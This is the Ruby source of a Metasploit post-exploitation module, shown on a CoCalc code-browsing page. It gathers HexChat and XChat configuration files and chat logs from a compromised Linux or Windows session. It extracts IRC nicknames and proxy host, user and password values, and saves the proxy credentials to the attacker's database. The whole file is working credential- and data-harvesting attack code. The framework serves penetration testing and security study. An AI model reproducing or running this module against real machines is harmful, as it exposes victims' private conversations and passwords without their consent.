CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/enum_hexchat.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Exploit::Deprecated
9
10
moved_from 'post/linux/gather/enum_xchat'
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Linux Gather HexChat/XChat Enumeration',
17
'Description' => %q{
18
This module will collect HexChat and XChat's config files and chat logs from the victim's
19
machine. There are three actions you may choose: CONFIGS, CHATS, and ALL. The
20
CONFIGS option can be used to collect information such as channel settings,
21
channel/server passwords, etc. The CHATS option will simply download all the
22
.log files.
23
},
24
'License' => MSF_LICENSE,
25
'Author' => ['sinn3r', 'h00die'],
26
'Platform' => ['linux'],
27
'SessionTypes' => ['shell', 'meterpreter'],
28
'Actions' => [
29
['CONFIGS', { 'Description' => 'Collect config files' } ],
30
['CHATS', { 'Description' => 'Collect chat logs with a pattern' } ],
31
['ALL', { 'Description' => 'Collect both the configs and chat logs' }]
32
],
33
'DefaultAction' => 'ALL',
34
'References' => [
35
['URL', 'https://hexchat.readthedocs.io/en/latest/settings.html']
36
],
37
'Notes' => {
38
'Stability' => [CRASH_SAFE],
39
'SideEffects' => [IOC_IN_LOGS],
40
'Reliability' => []
41
}
42
)
43
)
44
register_options([
45
OptBool.new('HEXCHAT', [false, 'Enumerate hexchat', true ]),
46
OptBool.new('XCHAT', [false, 'Enumerate xchat', false ])
47
])
48
end
49
50
def whoami
51
cmd_exec('/usr/bin/whoami').chomp
52
end
53
54
def sep
55
if session.platform == 'windows'
56
return '\\'
57
else
58
return '/'
59
end
60
end
61
62
def get_paths(mode = 'HEXCHAT')
63
paths = []
64
if session.platform == 'windows'
65
appdata = get_env('APPDATA')
66
if mode == 'HEXCHAT'
67
paths << "#{appdata}\\HexChat\\"
68
elsif datastore['XCHAT']
69
paths << "#{appdata}\\X-Chat 2\\"
70
end
71
else
72
user = whoami
73
fail_with(Failure::Unknown, 'Unable to get username.') if user.blank?
74
vprint_status("Detcted username: #{user}")
75
76
if mode == 'HEXCHAT'
77
# https://hexchat.readthedocs.io/en/latest/settings.html
78
paths << "/home/#{user}/.config/hexchat/"
79
elsif mode == 'XCHAT'
80
paths << "/home/#{user}/.xchat2/"
81
end
82
end
83
paths
84
end
85
86
def list_logs(base, mode = 'HEXCHAT')
87
files = []
88
if mode == 'HEXCHAT'
89
# hexchat has a folder for each server
90
# inside each folder, like 'freenode'
91
# are files: sever.log, <server>.log, .log
92
folders = dir base
93
folders.each do |folder|
94
file = dir "#{base}#{sep}#{folder}"
95
file.each do |f|
96
if f.end_with? '.log'
97
files << "#{base}#{sep}#{folder}#{sep}#{f}"
98
end
99
end
100
end
101
elsif mode == 'XCHAT'
102
file = dir base
103
file.each do |f|
104
if f.end_with? '.log'
105
files << "#{base}#{sep}#{f}"
106
end
107
end
108
end
109
files
110
end
111
112
def save(type, data, mode = 'HEXCHAT')
113
case type
114
when :configs
115
type = "#{mode.downcase}.config"
116
when :chatlogs
117
type = "#{mode.downcase}.chatlogs"
118
end
119
120
data.each do |d|
121
fname = ::File.basename(d[:filename])
122
p = store_loot(
123
type,
124
'text/plain',
125
session,
126
d[:data],
127
fname
128
)
129
print_good("#{fname} saved as #{p}")
130
end
131
end
132
133
def get_chatlogs(base, mode = 'HEXCHAT')
134
logs = []
135
136
case mode
137
when 'XCHAT'
138
base_logs = "#{base}#{sep}xchatlogs"
139
when 'HEXCHAT'
140
base_logs = "#{base}#{sep}logs"
141
else
142
vprint_error("Invalid mode: #{mode}")
143
return logs
144
end
145
unless directory? base_logs
146
vprint_error("Chat logs not found at #{base_logs}")
147
return logs
148
end
149
list_logs(base_logs, mode).each do |l|
150
vprint_status("Downloading: #{l}")
151
data = read_file(l)
152
logs << {
153
filename: l,
154
data: data
155
}
156
end
157
logs
158
end
159
160
def parse_config(conf)
161
if conf =~ /^irc_user_name = (.+)$/
162
print_good "IRC nick: #{Regexp.last_match(1)}"
163
end
164
if conf =~ /^irc_nick1 = (.+)$/
165
print_good "IRC nick1: #{Regexp.last_match(1)}"
166
end
167
if conf =~ /^irc_nick2 = (.+)$/
168
print_good "IRC nick2: #{Regexp.last_match(1)}"
169
end
170
if conf =~ /^irc_nick3 = (.+)$/
171
print_good "IRC nick3: #{Regexp.last_match(1)}"
172
end
173
/^net_proxy_user = (?<proxyuser>.+)$/ =~ conf
174
/^net_proxy_pass = (?<proxypass>.+)$/ =~ conf
175
/^net_proxy_host = (?<proxyhost>.+)$/ =~ conf
176
/^net_proxy_port = (?<proxyport>.+)$/ =~ conf
177
unless proxypass.blank? || proxyuser.blank? || proxyhost.blank? || proxyport.blank?
178
proxyhost.strip!
179
proxyport.strip!
180
proxyuser.strip!
181
proxypass.strip!
182
print_good("Proxy conf: #{proxyhost}:#{proxyport} -> #{proxyuser}/#{proxypass}")
183
create_credential_and_login({
184
address: proxyhost,
185
port: proxyport,
186
protocol: 'tcp',
187
workspace_id: myworkspace_id,
188
origin_type: :service,
189
private_type: :password,
190
private_data: proxypass,
191
public_data: proxyuser,
192
service_name: 'proxy',
193
module_fullname: fullname,
194
status: Metasploit::Model::Login::Status::UNTRIED
195
})
196
end
197
end
198
199
def get_configs(base, mode = 'HEXCHAT')
200
config = []
201
files = []
202
if mode == 'XCHAT'
203
files = ['servlist_.conf', 'xchat.conf']
204
elsif mode == 'HEXCHAT'
205
files = ['servlist.conf', 'hexchat.conf']
206
end
207
files.each do |f|
208
conf = base + f
209
unless file? conf
210
vprint_error("File not found: #{conf}")
211
next
212
end
213
vprint_good("Downloading: #{conf}")
214
buf = read_file(conf)
215
next if buf.blank?
216
217
if conf.end_with? 'chat.conf'
218
parse_config buf
219
end
220
config << {
221
filename: f,
222
data: buf
223
}
224
end
225
226
config
227
end
228
229
def run
230
fail_with(Failure::BadConfig, 'Please specify an action.') if action.nil?
231
232
if datastore['XCHAT']
233
get_paths('XCHAT').each do |base|
234
unless directory? base
235
print_error("XChat not installed or used by user. #{base} not found.")
236
end
237
238
configs = get_configs(base, 'XCHAT') if action.name =~ /ALL|CONFIGS/i
239
chatlogs = get_chatlogs(base, 'XCHAT') if action.name =~ /ALL|CHATS/i
240
241
save(:configs, configs, 'XCHAT') unless configs.blank?
242
save(:chatlogs, chatlogs, 'XCHAT') unless chatlogs.blank?
243
end
244
end
245
246
if datastore['HEXCHAT']
247
get_paths.each do |base|
248
unless directory? base
249
print_error("HexChat not installed or used by user. #{base} not found.")
250
end
251
252
configs = get_configs(base) if action.name =~ /ALL|CONFIGS/i
253
chatlogs = get_chatlogs(base) if action.name =~ /ALL|CHATS/i
254
255
save(:configs, configs) unless configs.blank?
256
save(:chatlogs, chatlogs) unless chatlogs.blank?
257
end
258
end
259
end
260
end
261
262